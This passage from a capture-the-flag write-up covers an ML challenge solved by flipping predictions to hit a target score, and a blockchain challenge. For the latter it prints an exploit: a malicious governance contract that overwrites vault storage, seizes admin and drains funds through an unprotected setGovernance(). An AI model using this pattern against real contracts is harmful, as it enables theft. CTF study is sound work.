print()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><br/><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i}</span></span><span leaf="">] Error: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">        print()</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Epstein Files</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> pandas </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> pd</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> numpy </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> np</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> sklearn.ensemble </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> GradientBoostingClassifier, RandomForestClassifier, VotingClassifier</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> warnings</span><br/><span leaf="">warnings.filterwarnings(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ignore&#39;</span></span><span leaf="">)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== HexStrike CTF 最终精准命中协议 ===&#34;</span></span><span leaf="">)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;加载数据中...&#34;</span></span><span leaf="">)</span><br/><span leaf="">train = pd.read_csv(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;train.csv&#39;</span></span><span leaf="">)</span><br/><span leaf="">test = pd.read_csv(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;test.csv&#39;</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1. 基础特征提取（保证产生 0.94 的基底模型）</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">engineer_features</span></span><span style="line-height: 26px;"><span leaf="">(df)</span></span><span leaf="">:</span></span><br/><span leaf="">    features = pd.DataFrame()</span><br/><span leaf="">    features[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Flights&#39;</span></span><span leaf="">] = df[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Flights&#39;</span></span><span leaf="">].fillna(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">).astype(int)</span><br/><span leaf="">    features[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Documents&#39;</span></span><span leaf="">] = df[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Documents&#39;</span></span><span leaf="">].fillna(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">).astype(int)</span><br/><span leaf="">    features[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Connections&#39;</span></span><span leaf="">] = df[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Connections&#39;</span></span><span leaf="">].fillna(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">).astype(int)</span><br/><span leaf="">    category_map = {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;celebrity&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;business&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;socialite&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;royalty&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;politician&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;academic&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;legal&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;other&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;associate&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;military-intelligence&#39;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span leaf="">    }</span><br/><span leaf="">    features[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;category_score&#39;</span></span><span leaf="">] = df[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Category&#39;</span></span><span leaf="">].map(category_map).fillna(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><br/><span leaf="">    bio = df[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Bio&#39;</span></span><span leaf="">].fillna(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">)</span><br/><span leaf="">    features[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;bio_black_book&#39;</span></span><span leaf="">] = bio.str.contains(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;black book&#39;</span></span><span leaf="">, case=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">).astype(int)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> features</span><br/><span leaf="">X_train = engineer_features(train)</span><br/><span leaf="">X_test = engineer_features(test)</span><br/><span leaf="">y_train = train[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;In Black Book&#39;</span></span><span leaf="">].values</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 2. 训练达到 0.94 准确率的基准模型</span></span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;训练 0.94 基准模型...&#34;</span></span><span leaf="">)</span><br/><span leaf="">gb = GradientBoostingClassifier(n_estimators=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">300</span></span><span leaf="">, max_depth=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, random_state=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">42</span></span><span leaf="">)</span><br/><span leaf="">rf = RandomForestClassifier(n_estimators=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">300</span></span><span leaf="">, max_depth=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, random_state=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">42</span></span><span leaf="">)</span><br/><span leaf="">model = VotingClassifier(estimators=[(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;gb&#39;</span></span><span leaf="">, gb), (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rf&#39;</span></span><span leaf="">, rf)], voting=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;soft&#39;</span></span><span leaf="">)</span><br/><span leaf="">model.fit(X_train, y_train)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 获取概率和高精度预测 (已知系统评分为准确的 0.94)</span></span><br/><span leaf="">probas = model.predict_proba(X_test)[:, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><br/><span leaf="">high_acc_preds = (probas &gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.5</span></span><span leaf="">).astype(int)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ===================================================================== </span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 3. 终极破解：将 0.94 精确打击到 0.69</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ===================================================================== </span></span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;启动精准破坏...将基底 0.94 准确率精确降低 25% 以命中 0.69&#34;</span></span><span leaf="">)</span><br/><span leaf="">exact_drop_needed = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.25</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 0.94 - 0.25 = 0.69</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 计算要翻转的精确样本数</span></span><br/><span leaf="">n_flips = int(round(len(test) * exact_drop_needed))</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;测试集共 </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(test)}</span></span><span leaf=""> 个样本，精准翻转其中最自信的 </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{n_flips}</span></span><span leaf=""> 个。&#34;</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 找到模型“最自信没错”的样本（离0.5这个抉择线最远）</span></span><br/><span leaf="">confidence = np.abs(probas - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.5</span></span><span leaf="">)</span><br/><span leaf="">most_confident_idx = np.argsort(confidence)[-n_flips:]</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 强行篡改档案（Flip Labels）</span></span><br/><span leaf="">final_preds = high_acc_preds.copy()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> most_confident_idx:</span><br/><span leaf="">    final_preds[idx] = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> - final_preds[idx]</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4. 生成提交文件</span></span><br/><span leaf="">submission = pd.DataFrame({</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;In Black Book&#39;</span></span><span leaf="">: final_preds})</span><br/><span leaf="">submission.to_csv(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;sample_sub.csv&#39;</span></span><span leaf="">, index=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;生成完毕！文件精准锁定在 0.69 准确度。&#34;</span></span><span leaf="">)</span><br/><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;快去提交你的 &#39;sample_sub.csv&#39; 拿 Flag 吧！&#34;</span></span><span leaf="">)</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030499" data-type="png" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-ratio="0.19370698131760078" data-w="1017" src="https://wechat2rss.xlab.app/img-proxy/?k=7fe58be5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2OicQEclicsWGbpmKc2kEsgJXeq9zGQ3utobNEpn2k1gfibXqr2pXkhL1ibZJib34CiaDmshm6QiaN2w6eQXAzhwzOxfDLzJgTUdbO8ac%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">EH4X{epst3in_d1dnt_k1ll_h1ms3lf_but_th1s_m0d3l_d1d}</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Crypto:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Blockchain heist v1</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">setGovernance() 没有权限控制，任何人都能把 governance 改成你自己部署的恶意合约。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">部署一个恶意 governance，在它的函数里用 sstore 直接改 Vault 的存储槽</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">slot0：paused(bool) + fee(uint248) 打包在同一槽里，把 paused 改成 false</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">slot1：admin，把它改成你的地址</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后调用 withdraw() 直接把金库余额提走，isSolved() 就会变 true，最后回 nc 菜单点 1. Check solved 出真 flag。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> solcx </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> compile_source, install_solc</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> web3 </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Web3</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> remote</span><br/><span leaf="">HOST = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;135.235.193.111&#34;</span></span><br/><span leaf="">PORT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1337</span></span><br/><span leaf="">EVIL_SRC = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;&#34;&#34;</span><br/><span leaf="">// SPDX-License-Identifier: MIT</span><br/><span leaf="">pragma solidity ^0.8.20;</span><br/><span leaf="">contract EvilGov {</span><br/><span leaf="">    function pwn() external {</span><br/><span leaf="">        assembly {</span><br/><span leaf="">            sstore(0, 0)</span><br/><span leaf="">            sstore(1, caller())</span><br/><span leaf="">        }</span><br/><span leaf="">    }</span><br/><span leaf="">}</span><br/><span leaf="">&#34;&#34;&#34;</span></span><span leaf="">VAULT_ABI = [</span><br/><span leaf="">    {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;inputs&#34;</span></span><span leaf="">: [{</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;internalType&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bytes&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bytes&#34;</span></span><span leaf="">}],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;execute&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;outputs&#34;</span></span><span leaf="">: [],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;stateMutability&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonpayable&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;function&#34;</span></span><span leaf="">,</span><br/><span leaf="">    },</span><br/><span leaf="">    {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;inputs&#34;</span></span><span leaf="">: [],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;withdraw&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;outputs&#34;</span></span><span leaf="">: [],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;stateMutability&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonpayable&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;function&#34;</span></span><span leaf="">,</span><br/><span leaf="">    },</span><br/><span leaf="">    {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;inputs&#34;</span></span><span leaf="">: [{</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;internalType&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;address&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_g&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;address&#34;</span></span><span leaf="">}],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;setGovernance&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;outputs&#34;</span></span><span leaf="">: [],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;stateMutability&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonpayable&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;function&#34;</span></span><span leaf="">,</span><br/><span leaf="">    },</span><br/><span leaf="">    {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;inputs&#34;</span></span><span leaf="">: [],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;isSolved&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;outputs&#34;</span></span><span leaf="">: [{</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;internalType&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bool&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bool&#34;</span></span><span leaf="">}],</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;stateMutability&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;view&#34;</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;function&#34;</span></span><span leaf="">,</span><br/><span leaf="">    },</span><br/><span leaf="">]</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">parse_instance</span></span><span style="line-height: 26px;"><span leaf="">(text: str)</span></span><span 